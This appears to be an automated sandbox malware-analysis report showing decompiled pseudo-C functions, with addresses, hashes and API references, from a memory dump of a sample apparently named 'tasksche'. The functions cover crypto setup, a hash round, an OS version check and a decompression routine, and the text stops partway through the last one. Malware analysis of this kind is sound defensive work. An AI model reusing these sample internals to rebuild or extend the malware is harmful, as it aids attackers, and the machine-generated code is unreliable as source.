0x00419c78
0x00419c7e
0x00419c7e
0x00419c85

APIs

CoCreateInstance.OLE32(0042B1F8,00000000,00000001,0042B148,?), ref: 00419BC9

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 291608a549582a43ab036b31c95ed53b806bcf03129be81fab9f556b712dc9f9
Instruction ID: e9337f94160ec10d5a134cda80235c1f61728acff05639409476ed3799cc72ed
Opcode Fuzzy Hash: 291608a549582a43ab036b31c95ed53b806bcf03129be81fab9f556b712dc9f9
Instruction Fuzzy Hash: FC311875A00209EFCF04CFA0C898DAA7BB9EF49304B204499F942DB250D739EE51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040CA52 Relevance: 1.6, APIs: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040CA52(signed char* __ecx, intOrPtr __edx, void* __edi, char _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed char* _v8;
				unsigned int _v16;
				char _v24;
				char _v40;
				void* _t32;
				signed int _t33;
				void* _t34;
				void* _t36;
				void* _t39;
				intOrPtr _t41;
				char _t44;
				char _t47;
				intOrPtr _t48;
				signed int _t54;
				void* _t55;
				signed int _t57;
				intOrPtr* _t60;
				signed char* _t61;
				void* _t63;

				_t55 = __edi;
				_v8 = __ecx;
				_push(_t41);
				asm("cpuid");
				_t60 =  &_v24;
				 *_t60 = 1;
				 *((intOrPtr*)(_t60 + 4)) = _t41;
				 *((intOrPtr*)(_t60 + 8)) = 0;
				 *((intOrPtr*)(_t60 + 0xc)) = __edx;
				_t61 = _v8;
				 *_t61 = _v16 >> 0x00000019 & 0x00000001;
				_t32 = _a12 - 0x80;
				if(_t32 == 0) {
					_t47 = 0x10;
					_t61[4] = 0xa;
				} else {
					_t39 = _t32 - 0x40;
					if(_t39 == 0) {
						_t47 = 0x18;
						_t61[4] = 0xc;
					} else {
						if(_t39 != 0x40) {
							_t47 = _a4;
						} else {
							_t47 = 0x20;
							_t61[4] = 0xe;
						}
					}
				}
				_t33 = 0;
				if(_t47 <= 0) {
					L11:
					_t48 = _a16;
					_t71 = _t48;
					if(_t48 != 0) {
						_t34 = 0;
						__eflags = 0;
						do {
							_t61[_t34 + 8] =  *((intOrPtr*)(_t34 + _t48));
							_t34 = _t34 + 1;
							__eflags = _t34 - 0x10;
						} while (__eflags < 0);
						L15:
						_t36 = E0040C4FF(_t61, _t71,  &_v40);
						if(_a4 == 0) {
							_t36 = E0040C6C4(_t61);
						}
						return _t36;
					}
					_t20 =  &(_t61[8]); // 0x8
					E0041A820(_t55, _t20, _t48, 0x10);
					goto L15;
				} else {
					_push(_t55);
					do {
						_t44 =  *((intOrPtr*)(_t33 + _a8));
						_t54 = _t33 >> 2;
						_t57 = _t33 & 0x00000003;
						_t33 = _t33 + 1;
						 *((char*)(_t63 + _t57 - 0x24 + _t54 * 4)) = _t44;
					} while (_t33 < _t47);
					_pop(_t55);
					goto L11;
				}
			}

0x0040ca52
0x0040ca5b
0x0040ca60
0x0040ca61
0x0040ca64
0x0040ca67
0x0040ca69
0x0040ca6c
0x0040ca6f
0x0040ca75
0x0040ca7d
0x0040ca82
0x0040ca87
0x0040caad
0x0040caae
0x0040ca89
0x0040ca89
0x0040ca8c
0x0040caa1
0x0040caa2
0x0040ca8e
0x0040ca91
0x0040cab7
0x0040ca93
0x0040ca95
0x0040ca96
0x0040ca96
0x0040ca91
0x0040ca8c
0x0040caba
0x0040cabe
0x0040cade
0x0040cade
0x0040cae1
0x0040cae3
0x0040caf6
0x0040caf6
0x0040caf8
0x0040cafb
0x0040caff
0x0040cb00
0x0040cb00
0x0040cb05
0x0040cb0b
0x0040cb14
0x0040cb18
0x0040cb18
0x0040cb20
0x0040cb20
0x0040cae8
0x0040caec
0x00000000
0x0040cac0
0x0040cac0
0x0040cac1
0x0040cac4
0x0040cacb
0x0040cace
0x0040cad1
0x0040cad6
0x0040cad9
0x0040cadd
0x00000000
0x0040cadd

APIs

_memset.LIBCMT ref: 0040CAEC

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f170c41e67568dbb41c50a43ec108573c349a1076046e87b2a713adcc681154b
Instruction ID: e1f0199fda650a5869103b9083c5b7a650503f912fa59dbaeb4dd54c60283149
Opcode Fuzzy Hash: f170c41e67568dbb41c50a43ec108573c349a1076046e87b2a713adcc681154b
Instruction Fuzzy Hash: 0721F672704209DFD724CF28D4817AA7BE5AB19300F10892FD896E73C2C678E9458B49

Uniqueness

Uniqueness Score: -1.00%

Function 00409C06 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409C06() {
				struct _OSVERSIONINFOW _v280;
				signed int _t6;
				intOrPtr _t12;

				_t12 =  *0x43003c; // 0xffffffff
				if(_t12 != 0xffffffff) {
					_t6 =  *0x4335d4; // 0x0
				} else {
					_v280.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v280);
					_t12 = _v280.dwPlatformId;
					_t6 = _v280.dwMajorVersion;
					 *0x43003c = _t12;
					 *0x4335d4 = _t6;
					 *0x4335d0 = _v280.dwMinorVersion;
				}
				if(_t12 != 2) {
					return 0x501;
				} else {
					return (_t6 << 8) +  *0x4335d0;
				}
			}

0x00409c09
0x00409c18
0x00409c56
0x00409c1a
0x00409c21
0x00409c2b
0x00409c31
0x00409c37
0x00409c43
0x00409c49
0x00409c4e
0x00409c4e
0x00409c5e
0x00409c71
0x00409c60
0x00409c6a
0x00409c6a

APIs

GetVersionExW.KERNEL32(?), ref: 00409C2B

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 1145292b874a8e7a56bde58bed546469a1a499fc1dbdbc0264d61b52db470385
Instruction ID: d7c6bb9a1732f6c2eece22a2b410928bcf9985e9f3444315991ea75afaaef588
Opcode Fuzzy Hash: 1145292b874a8e7a56bde58bed546469a1a499fc1dbdbc0264d61b52db470385
Instruction Fuzzy Hash: E4F0F4B1A041088FDB28CF18E992A99B7F5A748305F1002A5D619D3390DA78AE81CF69

Uniqueness

Uniqueness Score: -1.00%

Function 004234CE Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004234CE() {

				SetUnhandledExceptionFilter(E0042348C);
				return 0;
			}

0x004234d3
0x004234db

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002348C), ref: 004234D3

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c83ebaee86b923b47ec218d74108a47e8bb0214f05dc8ef17ebda85afd4cada2
Instruction ID: 1b01da781a1f42b14bf088c4285091799bc00e9a7c54fca4454c541a30810ab4
Opcode Fuzzy Hash: c83ebaee86b923b47ec218d74108a47e8bb0214f05dc8ef17ebda85afd4cada2
Instruction Fuzzy Hash: 539002603521104746112BB06C1D51565A17F48617BD104A5B401C5054DA598621551B

Uniqueness

Uniqueness Score: -1.00%

Function 00404986 Relevance: 1.5, Strings: 1, Instructions: 245
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E00404986(void* __eax, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				void _v68;
				void _v132;
				void* _t219;
				signed int* _t220;
				void* _t223;
				signed int* _t226;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int _t233;
				signed int _t238;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				void* _t244;
				intOrPtr _t245;
				signed int _t252;
				signed int _t257;
				signed int _t259;
				signed int _t265;
				signed int _t270;
				signed int _t275;
				signed int _t280;
				signed int _t282;
				signed int _t283;
				signed int _t285;
				signed int _t289;
				signed int _t290;
				signed int _t293;
				signed int _t294;
				signed int _t300;
				signed int _t301;
				signed int _t303;
				signed int _t315;
				signed int _t316;
				signed int _t341;
				signed int _t346;
				signed int _t347;
				signed int _t348;
				signed int _t353;
				signed int _t357;
				signed int _t358;
				signed int _t362;
				void* _t364;

				_t245 = _a4;
				_t233 = 0x10;
				memcpy( &_v132, __eax, _t233 << 2);
				_push(8);
				_t219 = memcpy( &_v68,  *(_t245 + 0xf4), 0 << 2);
				_t220 =  *(_t245 + 0xfc);
				_t238 =  *_t219 ^ 0x510e527f;
				_t341 =  *(_t219 + 4) ^ 0x9b05688c;
				_v8 = _t220[1] ^ 0x5be0cd19;
				_v36 = 0x6a09e667;
				_v32 = 0xbb67ae85;
				_v28 = 0x3c6ef372;
				_v24 = 0xa54ff53a;
				_v12 =  *_t220 ^ 0x1f83d9ab;
				_t223 = 0;
				while(1) {
					_t18 = _t223 + 0x42a4d0; // 0x3020100
					_t229 = _v68 +  *((intOrPtr*)(_t364 + ( *_t18 & 0x000000ff) * 4 - 0x80)) + _v52;
					_t24 = _t223 + 0x42a4d1; // 0x4030201
					_t252 = _t229 ^ _t238;
					asm("ror edx, 0x10");
					_v36 = _v36 + _t252;
					_t240 = _v52 ^ _v36;
					asm("ror ecx, 0xc");
					_t230 = _t229 +  *((intOrPtr*)(_t364 + ( *_t24 & 0x000000ff) * 4 - 0x80)) + _t240;
					_v68 = _t230;
					_t231 = _t230 ^ _t252;
					_t33 = _t223 + 0x42a4d2; // 0x5040302
					asm("ror ebx, 0x8");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t33 & 0x000000ff) * 4 - 0x80)) + _v48;
					_v36 = _v36 + _t231;
					_t241 = _t240 ^ _v36;
					_t257 = _v64 ^ _t341;
					_t44 = _t223 + 0x42a4d3; // 0x6050403
					asm("ror ecx, 0x7");
					asm("ror edx, 0x10");
					_v32 = _v32 + _t257;
					_v16 = _t257;
					_t259 = _v48 ^ _v32;
					_t315 = _v40;
					asm("ror edx, 0xc");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t44 & 0x000000ff) * 4 - 0x80)) + _t259;
					_t346 = _v64 ^ _v16;
					asm("ror esi, 0x8");
					_v32 = _v32 + _t346;
					_v16 = _t346;
					_t347 = _v44;
					asm("ror edx, 0x7");
					_v48 = _t259 ^ _v32;
					_t64 = _t223 + 0x42a4d4; // 0x7060504
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t64 & 0x000000ff) * 4 - 0x80)) + _t347;
					_t265 = _v60 ^ _v12;
					asm("ror edx, 0x10");
					_v28 = _v28 + _t265;
					_t348 = _t347 ^ _v28;
					_v12 = _t265;
					_t76 = _t223 + 0x42a4d5; // 0x8070605
					asm("ror esi, 0xc");
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t76 & 0x000000ff) * 4 - 0x80)) + _t348;
					_t270 = _v60 ^ _v12;
					asm("ror edx, 0x8");
					_v28 = _v28 + _t270;
					_v12 = _t270;
					_t88 = _t223 + 0x42a4d6; // 0x9080706
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t88 & 0x000000ff) * 4 - 0x80)) + _t315;
					_t275 = _v56 ^ _v8;
					asm("ror esi, 0x7");
					asm("ror edx, 0x10");
					_v24 = _v24 + _t275;
					_t316 = _t315 ^ _v24;
					_v44 = _t348 ^ _v28;
					_v8 = _t275;
					_t101 = _t223 + 0x42a4d7; // 0xa090807
					asm("ror edi, 0xc");
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t101 & 0x000000ff) * 4 - 0x80)) + _t316;
					_t280 = _v56 ^ _v8;
					asm("ror edx, 0x8");
					_v24 = _v24 + _t280;
					_v8 = _t280;
					_t113 = _t223 + 0x42a4d8; // 0xb0a0908
					_t282 = _v48;
					_v68 = _v68 +  *((intOrPtr*)(_t364 + ( *_t113 & 0x000000ff) * 4 - 0x80)) + _t282;
					_t353 = _v68 ^ _v8;
					asm("ror edi, 0x7");
					asm("ror esi, 0x10");
					_v28 = _v28 + _t353;
					_t283 = _t282 ^ _v28;
					_v40 = _t316 ^ _v24;
					_t126 = _t223 + 0x42a4d9; // 0xc0b0a09
					asm("ror edx, 0xc");
					_v68 = _v68 +  *((intOrPtr*)(_t364 + ( *_t126 & 0x000000ff) * 4 - 0x80)) + _t283;
					_v48 = _t283;
					_t285 = _v68 ^ _t353;
					asm("ror edx, 0x8");
					_v28 = _v28 + _t285;
					_v8 = _t285;
					_t139 = _t223 + 0x42a4db; // 0xe0d0c0b
					asm("ror edx, 0x7");
					_v48 = _v48 ^ _v28;
					_t144 = _t223 + 0x42a4da; // 0xd0c0b0a
					_t289 = _v44;
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t144 & 0x000000ff) * 4 - 0x80)) + _t289;
					_t357 = _v64 ^ _t231;
					asm("ror esi, 0x10");
					_v24 = _v24 + _t357;
					_t290 = _t289 ^ _v24;
					asm("ror edx, 0xc");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t139 & 0x000000ff) * 4 - 0x80)) + _t290;
					asm("ror edi, 0x8");
					_t358 = _v64 ^ _t357;
					_v24 = _v24 + _t358;
					_t161 = _t223 + 0x42a4dd; // 0xe0f0e0d
					asm("ror edx, 0x7");
					_v44 = _t290 ^ _v24;
					_t166 = _t223 + 0x42a4dc; // 0xf0e0d0c
					_v20 = _t358;
					_t293 = _v40;
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t166 & 0x000000ff) * 4 - 0x80)) + _t293;
					_t362 = _v60 ^ _v16;
					asm("ror esi, 0x10");
					_v36 = _v36 + _t362;
					_t294 = _t293 ^ _v36;
					asm("ror edx, 0xc");
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t161 & 0x000000ff) * 4 - 0x80)) + _t294;
					asm("ror edi, 0x8");
					_t341 = _v60 ^ _t362;
					_v36 = _v36 + _t341;
					_t185 = _t223 + 0x42a4df; // 0x40a0e0f
					asm("ror edx, 0x7");
					_v40 = _t294 ^ _v36;
					_t190 = _t223 + 0x42a4de; // 0xa0e0f0e
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t190 & 0x000000ff) * 4 - 0x80)) + _t241;
					_t300 = _v56 ^ _v12;
					_t223 = _t223 + 0x10;
					asm("ror edx, 0x10");
					_v32 = _v32 + _t300;
					_t242 = _t241 ^ _v32;
					_v16 = _t341;
					asm("ror ecx, 0xc");
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t185 & 0x000000ff) * 4 - 0x80)) + _t242;
					asm("ror edi, 0x8");
					_t301 = _v56 ^ _t300;
					_v32 = _v32 + _t301;
					_v12 = _t301;
					asm("ror ecx, 0x7");
					_v52 = _t242 ^ _v32;
					if(_t223 > 0x90) {
						break;
					}
					_t238 = _v20;
				}
				_t244 = 0;
				do {
					_t226 =  *((intOrPtr*)(_a4 + 0xf4)) + _t244;
					_t303 =  *(_t364 + _t244 - 0x20) ^  *_t226;
					_t244 = _t244 + 4;
					 *_t226 = _t303 ^  *(_t364 + _t244 - 0x44);
				} while (_t244 < 0x20);
				return _t226;
			}

0x0040498f
0x0040499f
0x004049a3
0x004049ab
0x004049b1
0x004049b8
0x004049ce
0x004049d4
0x004049da
0x004049dd
0x004049e4
0x004049eb
0x004049f2
0x004049f9
0x004049fc
0x00404a03
0x00404a03
0x00404a14
0x00404a16
0x00404a23
0x00404a25
0x00404a28
0x00404a2e
0x00404a31
0x00404a36
0x00404a38
0x00404a3b
0x00404a3d
0x00404a4b
0x00404a4e
0x00404a51
0x00404a54
0x00404a5a
0x00404a5c
0x00404a67
0x00404a6a
0x00404a6d
0x00404a70
0x00404a76
0x00404a79
0x00404a7c
0x00404a81
0x00404a87
0x00404a8a
0x00404a8d
0x00404a93
0x00404a96
0x00404a99
0x00404a9c
0x00404a9f
0x00404aac
0x00404ab2
0x00404ab5
0x00404ab8
0x00404abb
0x00404abe
0x00404ac1
0x00404acc
0x00404ad1
0x00404ad7
0x00404ada
0x00404add
0x00404ae3
0x00404ae6
0x00404af3
0x00404af9
0x00404afc
0x00404aff
0x00404b02
0x00404b05
0x00404b08
0x00404b0b
0x00404b0e
0x00404b19
0x00404b1e
0x00404b24
0x00404b27
0x00404b2a
0x00404b30
0x00404b33
0x00404b3e
0x00404b43
0x00404b49
0x00404b4c
0x00404b4f
0x00404b52
0x00404b55
0x00404b58
0x00404b5b
0x00404b66
0x00404b6b
0x00404b6e
0x00404b74
0x00404b76
0x00404b79
0x00404b7c
0x00404b85
0x00404b90
0x00404b93
0x00404b96
0x00404ba1
0x00404ba6
0x00404bac
0x00404bae
0x00404bb1
0x00404bb4
0x00404bb7
0x00404bbc
0x00404bc4
0x00404bc7
0x00404bc9
0x00404bcf
0x00404bda
0x00404bdd
0x00404be0
0x00404be7
0x00404bee
0x00404bf3
0x00404bf9
0x00404bfc
0x00404bff
0x00404c02
0x00404c05
0x00404c0a
0x00404c12
0x00404c15
0x00404c17
0x00404c1d
0x00404c28
0x00404c2b
0x00404c2e
0x00404c3b
0x00404c41
0x00404c44
0x00404c47
0x00404c4a
0x00404c4d
0x00404c50
0x00404c53
0x00404c58
0x00404c60
0x00404c63
0x00404c65
0x00404c6b
0x00404c6e
0x00404c71
0x00404c79
0x00000000
0x00000000
0x00404a00
0x00404a00
0x00404c81
0x00404c84
0x00404c91
0x00404c93
0x00404c95
0x00404c9c
0x00404c9e
0x00404ca4

Strings

gj, xrefs: 004049DD

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 8e8f698dc4288f7cd721a7a81a634b87765ee1de91585cf515aab87a68fe5fee
Instruction ID: d9eb52a2d6ff44a43e3580116b86408f9a206631cbab7b39ea8bb55ae5343344
Opcode Fuzzy Hash: 8e8f698dc4288f7cd721a7a81a634b87765ee1de91585cf515aab87a68fe5fee
Instruction Fuzzy Hash: 81C126B2D002289BDF44CF9AD8405EEFBF2BFC8310F2AC1A6D81477615D6346A529F91

Uniqueness

Uniqueness Score: -1.00%

Function 00416C3F Relevance: .8, Instructions: 835
COMMONCrypto

Download Yara Rule

C-Code - Quality: 74%

			E00416C3F(void* __ecx, unsigned int _a4) {
				signed int _v8;
				unsigned int _v12;
				unsigned int _v16;
				char _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t398;
				signed int _t399;
				unsigned int _t400;
				signed int _t403;
				intOrPtr* _t405;
				signed int _t407;
				unsigned int _t408;
				signed int _t411;
				signed int _t412;
				signed int* _t420;
				intOrPtr _t421;
				unsigned int _t423;
				unsigned int _t432;
				unsigned int _t434;
				signed int _t435;
				unsigned int _t438;
				signed int _t441;
				signed int _t442;
				signed int _t444;
				signed int _t445;
				signed int* _t446;
				char* _t447;
				unsigned int _t449;
				unsigned int _t451;
				signed int _t453;
				signed int _t456;
				signed int _t457;
				signed int _t464;
				unsigned int _t465;
				signed int _t468;
				signed int _t469;
				signed int* _t477;
				unsigned int _t479;
				unsigned int _t482;
				signed int _t483;
				unsigned int _t486;
				signed int _t489;
				signed int _t490;
				signed int _t491;
				unsigned int _t492;
				signed int _t495;
				signed int _t496;
				signed int _t497;
				unsigned int _t498;
				signed int _t505;
				unsigned int _t506;
				signed int _t509;
				signed int _t510;
				signed int _t515;
				intOrPtr _t517;
				void* _t521;
				signed int _t522;
				void* _t526;
				signed int _t527;
				signed int _t530;
				signed int _t531;
				signed int _t532;
				signed int _t537;
				void* _t539;
				intOrPtr* _t540;
				signed int _t541;
				intOrPtr* _t543;
				intOrPtr* _t544;
				void* _t547;
				signed int _t548;
				intOrPtr* _t551;
				signed int _t554;
				signed int _t555;
				signed int _t558;
				unsigned int _t559;
				void* _t561;
				signed int _t562;
				signed int _t565;
				intOrPtr* _t568;
				signed int _t569;
				signed int _t570;
				intOrPtr* _t571;
				signed int _t574;
				signed int _t576;
				unsigned int _t578;
				void* _t580;
				signed int _t583;
				signed int _t585;
				unsigned int _t587;
				void* _t589;
				signed int _t593;
				char* _t604;
				signed int _t605;
				void* _t608;
				void* _t612;
				signed int _t615;
				signed int _t618;
				unsigned int _t624;
				signed int _t625;
				unsigned int _t627;
				signed int _t633;
				unsigned int _t635;
				void* _t637;
				signed int _t640;
				signed int _t642;
				unsigned int _t648;
				signed int _t649;
				void* _t651;
				signed int _t656;
				unsigned int _t658;
				void* _t660;
				void* _t662;
				signed int _t665;
				void* _t668;
				void* _t670;
				signed int _t673;
				void* _t676;
				void* _t683;
				signed int _t686;
				signed int _t695;
				signed int _t696;
				signed int _t697;
				signed int _t713;
				signed int _t733;
				signed int _t736;
				signed int _t750;
				intOrPtr* _t753;
				intOrPtr* _t758;
				void* _t760;
				void* _t761;
				void* _t767;

				_t760 = __ecx;
				 *((char*)(__ecx + 0x4c58)) = 1;
				if( *((char*)(__ecx + 0x4c48)) != 0) {
					L4:
					_t758 = _t760 + 4;
					while(1) {
						 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
						if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
							goto L15;
						} else {
							_t540 = _t760 + 0x80;
						}
						while(1) {
							L7:
							_t767 =  *_t758 -  *_t540 +  *((intOrPtr*)(_t760 + 0x88)) - 1;
							if(_t767 <= 0 && (_t767 != 0 ||  *((intOrPtr*)(_t760 + 8)) <  *((intOrPtr*)(_t760 + 0x84)))) {
								break;
							}
							if( *((char*)(_t760 + 0x90)) != 0) {
								L104:
								return E00415346(_t760);
							}
							_push(_t540);
							_push(_t758);
							_t517 = E0041450F(_t540, _t760);
							if(_t517 == 0) {
								L105:
								return _t517;
							} else {
								_t521 = E0041462B(_t540, _t760, _t758, _t540, _t760 + 0x94);
								if(_t521 != 0) {
									continue;
								} else {
									return _t521;
								}
							}
						}
						_t522 = E004123EB(_t540, _t760);
						__eflags = _t522;
						if(_t522 == 0) {
							goto L104;
						}
						L15:
						_t398 =  *((intOrPtr*)(_t760 + 0x4b30));
						_t574 =  *(_t760 + 0x70);
						__eflags = (_t398 - _t574 &  *(_t760 + 0xe6dc)) - 0x1004;
						if((_t398 - _t574 &  *(_t760 + 0xe6dc)) >= 0x1004) {
							L21:
							_t399 = E0040978C(_t758);
							_t527 =  *(_t760 + 0x118);
							_t400 = _t399 & 0x0000fffe;
							__eflags = _t400 -  *((intOrPtr*)(_t760 + 0x98 + _t527 * 4));
							if(_t400 >=  *((intOrPtr*)(_t760 + 0x98 + _t527 * 4))) {
								_t695 = 0xf;
								_t576 = _t527 + 1;
								__eflags = _t576 - _t695;
								if(_t576 >= _t695) {
									L29:
									_t578 =  *(_t758 + 4) + _t695;
									 *(_t758 + 4) = _t578 & 0x00000007;
									 *_t758 =  *_t758 + (_t578 >> 3);
									_t580 = 0x10;
									_t403 = (_t400 -  *((intOrPtr*)(_t760 + 0x94 + _t695 * 4)) >> _t580 - _t695) +  *((intOrPtr*)(_t760 + 0xd8 + _t695 * 4));
									__eflags = _t403 -  *((intOrPtr*)(_t760 + 0x94));
									if(_t403 >=  *((intOrPtr*)(_t760 + 0x94))) {
										_t403 = 0;
										__eflags = 0;
									}
									_t530 =  *(_t760 + 0xd1c + _t403 * 2) & 0x0000ffff;
									goto L32;
								} else {
									_t571 = _t760 + 0x98 + _t576 * 4;
									while(1) {
										__eflags = _t400 -  *_t571;
										if(_t400 <  *_t571) {
											_t695 = _t576;
											goto L29;
										}
										_t576 = _t576 + 1;
										_t571 = _t571 + 4;
										__eflags = _t576 - 0xf;
										if(_t576 < 0xf) {
											continue;
										} else {
											goto L29;
										}
									}
									goto L29;
								}
							} else {
								_t683 = 0x10;
								_t515 = _t400 >> _t683 - _t527;
								_t686 = ( *(_t515 + _t760 + 0x11c) & 0x000000ff) +  *(_t758 + 4);
								 *_t758 =  *_t758 + (_t686 >> 3);
								 *(_t758 + 4) = _t686 & 0x00000007;
								_t530 =  *(_t760 + 0x51c + _t515 * 2) & 0x0000ffff;
								L32:
								__eflags = _t530 - 0x100;
								if(_t530 >= 0x100) {
									__eflags = _t530 - 0x106;
									if(_t530 < 0x106) {
										__eflags = _t530 - 0x100;
										if(_t530 != 0x100) {
											__eflags = _t530 - 0x101;
											if(_t530 != 0x101) {
												_t531 = _t530 + 0xfffffefe;
												__eflags = _t531;
												_t405 = _t760 + 0x54 + _t531 * 4;
												_v16 =  *_t405;
												_t583 = _t531;
												if(_t531 == 0) {
													L127:
													 *((intOrPtr*)(_t760 + 0x54)) = _v16;
													_t407 = E0040978C(_t758);
													_t532 =  *(_t760 + 0x2ddc);
													_t408 = _t407 & 0x0000fffe;
													__eflags = _t408 -  *((intOrPtr*)(_t760 + 0x2d5c + _t532 * 4));
													if(_t408 >=  *((intOrPtr*)(_t760 + 0x2d5c + _t532 * 4))) {
														_t696 = 0xf;
														_t585 = _t532 + 1;
														__eflags = _t585 - _t696;
														if(_t585 >= _t696) {
															L135:
															_t587 =  *(_t758 + 4) + _t696;
															 *(_t758 + 4) = _t587 & 0x00000007;
															 *_t758 =  *_t758 + (_t587 >> 3);
															_t589 = 0x10;
															_t411 = (_t408 -  *((intOrPtr*)(_t760 + 0x2d58 + _t696 * 4)) >> _t589 - _t696) +  *((intOrPtr*)(_t760 + 0x2d9c + _t696 * 4));
															__eflags = _t411 -  *((intOrPtr*)(_t760 + 0x2d58));
															if(_t411 >=  *((intOrPtr*)(_t760 + 0x2d58))) {
																_t411 = 0;
																__eflags = 0;
															}
															_t412 =  *(_t760 + 0x39e0 + _t411 * 2) & 0x0000ffff;
															L138:
															__eflags = _t412 - 8;
															if(_t412 >= 8) {
																_t537 = (_t412 >> 2) - 1;
																_v12 = ((_t412 & 0x00000003 | 0x00000004) << _t537) + 2;
																__eflags = _t537;
																if(_t537 > 0) {
																	_t438 = E0040978C(_t758);
																	_t608 = 0x10;
																	_v12 = _v12 + (_t438 >> _t608 - _t537);
																	_t441 =  *(_t758 + 4) + _t537;
																	 *_t758 =  *_t758 + (_t441 >> 3);
																	_t442 = _t441 & 0x00000007;
																	__eflags = _t442;
																	 *(_t758 + 4) = _t442;
																}
															} else {
																_v12 = _t412 + 2;
															}
